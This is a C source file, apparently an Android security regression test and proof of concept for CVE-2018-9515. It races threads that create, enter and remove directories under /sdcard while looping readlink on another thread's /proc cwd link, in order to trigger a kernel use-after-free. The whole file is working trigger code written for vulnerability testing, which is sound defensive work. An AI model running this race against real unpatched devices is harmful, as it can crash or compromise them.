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92 lines
2.3 KiB
92 lines
2.3 KiB
/*
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* Copyright (C) 2019 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <pthread.h>
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#include <err.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <string.h>
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#include <time.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <sys/syscall.h>
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#include "../includes/common.h"
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pid_t looper_pid;
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void *uaf_worker(__attribute__ ((unused)) void *unused) {
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char cwd_path[100];
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sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
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time_t timer = start_timer();
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while (timer_active(timer)) {
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char symlink_target[1000];
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int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
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if (len > 0) {
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symlink_target[len] = 0;
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}
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}
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return NULL;
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}
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void *chaos_worker(__attribute__ ((unused)) void *unused) {
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if (chdir("/sdcard/Android/data/CVE-2018-9515"))
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err(1, "chdir");
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rmdir("subdir");
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time_t timer = start_timer();
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while (timer_active(timer)) {
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if (mkdir("subdir", 0777))
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err(1, "mkdir");
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if (chdir("subdir"))
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err(1, "chdir");
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if (rmdir("../subdir"))
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err(1, "rmdir");
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if (chdir(".."))
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err(1, "chdir");
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}
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return NULL;
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}
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int main(void) {
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looper_pid = syscall(__NR_gettid);
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pthread_t thread;
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if (pthread_create(&thread, NULL, uaf_worker, NULL))
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errx(1, "pthread_create failed");
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pthread_t thread2;
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if (pthread_create(&thread2, NULL, chaos_worker, NULL))
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errx(1, "pthread_create failed");
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char my_dir_name[100];
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sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
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rmdir(my_dir_name);
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time_t timer = start_timer();
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while (timer_active(timer)) {
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if (mkdir(my_dir_name, 0777))
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err(1, "looper: mkdir");
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if (rmdir(my_dir_name))
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err(1, "looper: rmdir");
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}
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return 0;
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}
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